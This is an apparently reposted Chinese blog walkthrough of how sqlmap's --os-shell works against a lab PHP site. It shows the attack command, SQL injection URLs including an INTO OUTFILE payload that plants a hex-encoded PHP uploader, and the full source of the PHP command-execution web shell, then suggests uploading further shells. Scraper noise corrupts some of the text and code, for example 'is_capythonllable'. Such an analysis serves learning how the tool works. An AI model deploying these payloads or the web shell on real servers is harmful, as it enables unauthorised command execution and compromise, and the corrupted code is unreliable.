开发者

sqlmap之os shell图文详细解析

开发者 https://www.devze.com 2023-03-03 08:57 出处:网络 作者: lcamry
目录0x00 Background0x01 Environment[0x02 Attack demo(1)环境测试(2)攻击(3)选择语言(4)输入绝对路径(5)建立os-shell并执行命令0x03 Analysis(1)抓包(2)第一个url分析(3)插入数据(4)执行命令0x0
目录
  • 0x00 Background
  • 0x01 Environment[
  • 0x02 Attack demo
    • (1)环境测试
    • (2)攻击
    • (3)选择语言
    • (4)输入绝对路径
    • (5)建立os-shell并执行命令
  • 0x03 Analysis
    • (1)抓包
    • (2)第一个url分析
    • (3)插入数据
    • (4)执行命令
  • 0x04 os-shell的使用
    • 总结

      0x00 Background

      最近遇到测试环境,最后利用sqlmap的--os-shell参数取得shell。一直以来,对这个参数的工作原理不是十分的清晰。大致的思想应该是将脚本插入到数据库中,然后生成相应的代码文件,获取shell即可执行命令。

      0x01 Environment[

       本环境是在局域网下利用两台主机搭建的,环境比较真实。

      攻击机:

      • 系统:Windows7
      • 工具:sqlmap

      靶机:

      • 系统:windows7
      • 环境:wamp搭建的apache、mysql和php
      • 网页源码:phpmywind,此处修改了点源代码,方便进行测试。

      0x02 Attack demo

      (1)环境测试

      url:192.168.0.166/php/newsshow.php?ci开发者_NoSQLd=4&id=11

      截图:

      sqlmap之os shell图文详细解析

      (2)攻击

      python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell

      sqlmap之os shell图文详细解析

      (3)选择语言

      sqlmap默认为php,此处根据需求选择。

      sqlmap之os shell图文详细解析

      (4)输入绝对路径

      此处因为用wamp搭建,并安装在c盘下。所以选择2选项,输入路径为c:/wamp/www

      sqlmap之os shell图文详细解析

      (5)建立os-shell并执行命令

      sqlmap之os shell图文详细解析

      0x03 Analysis

      (1)抓包

      利用wireshark进行抓包

      sqlmap之os shell图文详细解析

      (2)第一个url分析

      http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922 AND 1%3D1 UNION ALL SELECT 1%2C2%2C3%2Ctable_name FROM information_schema.tables WHERE 2>1-- ..%2F..%2F..%2Fetc%2Fpasswd

      url解码

      http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

      sqlmap之os shell图文详细解析

      这条语句我认为对于os-shell并没有实际性的作用。

      (3)插入数据

      3.1解析into outfile

      http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3编程客栈d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -

      解析url(除16进制字符)

      http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...

      解释:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是将内容输入到outfile中。

      LINES TERMINATED BY则是into outfile的参数,意思是行结尾的时候用by后面的内容,通常的一般为‘/r/n’,此处我们将by后的内容修改为后面的16进制的文件。

      解析16进制文件

      sqlmap之os shell图文详细解析

      如上图,16进制转换为字符串为:

      `

      转换后的代码

      显然,16进制为php代码。

      先访问以下tmpulujm.php

      sqlmap之os shell图文详细解析

      此处主要实现了向服务器传输文件的一个功能。此处简单看下上述文件php语句进行分析。

      sqlmap之os shell图文详细解析

      实现的就是上传文件,同时根据phpversion,将上传的文件的权限进行修改。学习到一点就是4.1.0的版本下,可直接执行。

      (4)执行命令

      现在我们已经可以上传文件了,但是仔细考虑一下,sqlmap是提供一个os-shell,我们现在只分析到了可以上传文件的步骤。那接下来,还需要在抓取的数据中进行分析。

      在分析数据包中,我看到一个post数据包,从content中看到此数据包是实现了上传一个类似于cmd的一个php文件。

      sqlmap之os shell图文详细解析

      从上图可以看到,利用tmpulujm.php上传了一个tmpbtfgo.php的文件。将tmpbtfgo.php的内容截取出来,得到了一段php代码。格式请自行调整。

      <?php 
      $c=$_REQUEST["cmd"];
      @set_time_limit(0);
      @ignore_user_abort(1);
      @ini_set('max_execution_time',0);
      $z=@ini_get('disable_functions');
      if(!empty($z))
      {
      	$z=preg_replace('/[, ]+/',',',$z);
      	$z=explode(',',$z);
      	$z=array_map('trim',$z);}
      else
      	{
      		$z=array();
      		}
      $c=$c." 2>&1\n";
      function f($n)
      {global $z;
      return is_capythonllable($n)and!in_array($n,$z);
      }
      if(f('system'))
      {ob_start();
      system($c);
      $w=ob_get_contents();
      ob_end_clean();
      }elseif(f('proc_open')){
      	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
          $w=NULL;
          while(!feof($t[1])){
      		$w.=fread($t[1],512);
      	    	}
              @proc_close($y);
      }
          elseif(f('shell_exec')){
      	$w=shell_exec($c);
      	}
      	elseif(f('passthru')){
      		ob_start();
      		passthru($c);
      		$w=ob_get_contents();
      		ob_end_clean();
      		}elseif(f('popen')){
      			$x=popen($c,r);
      			$w=NULL;
      			if(is_resource($x)){
      				while(!feof($x)){
      				$w.=fread($x,512);
      					}
      					}
      					@pclose($x);
      					}elseif(f('exec')){
      						$w=array();
      						exec($c,$w);
      						$w=join(chr(10),$w).chr(10);
      						}else{
      							$w=0;
      							}
      							print "</pre>".$w."</pre>";?>'''
      

      上述代码android实现了os-shell得到了命令后,如何执行命令以及输出执行结果到os-shell中。

      因此我们可以在os-shell中执行命令。

      0x04 os-shell的使用

      通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。

      很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

      (1)网站必须是root权限

      (2)攻击者需要知道网站的绝对路径

      (3)GPC为off,php主动转义的功能关闭

      此处对于中小型企业,如果自己搭建的服务器,例如直接用wamp或者phpnow等快捷方式搭建的服务器,基本上可以满足以上三个条件。

      同时,对于os-androidshell的用法,很多的小伙伴会吐槽,都他么能上传了,还搞jb的os-shell了。对的,我们可以直接上传大马进行下一步的工作。当然亦可以上传一句话,然后利用菜刀进编程客栈行连接。

      此处只是对sqlmap工作原理进行了一顿分析。至于利用方式以及攻击手段,当然有很多种,自行发散思维即可。接下来的工作是直接看下sqlmap的源码,才能理解的更为深刻。

      总结

      到此这篇关于sqlmap之os shell图文详细解析的文章就介绍到这了,更多相关sqlmap os shell解析内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

      0

      精彩评论

      暂无评论...
      验证码 换一张
      取 消

      关注公众号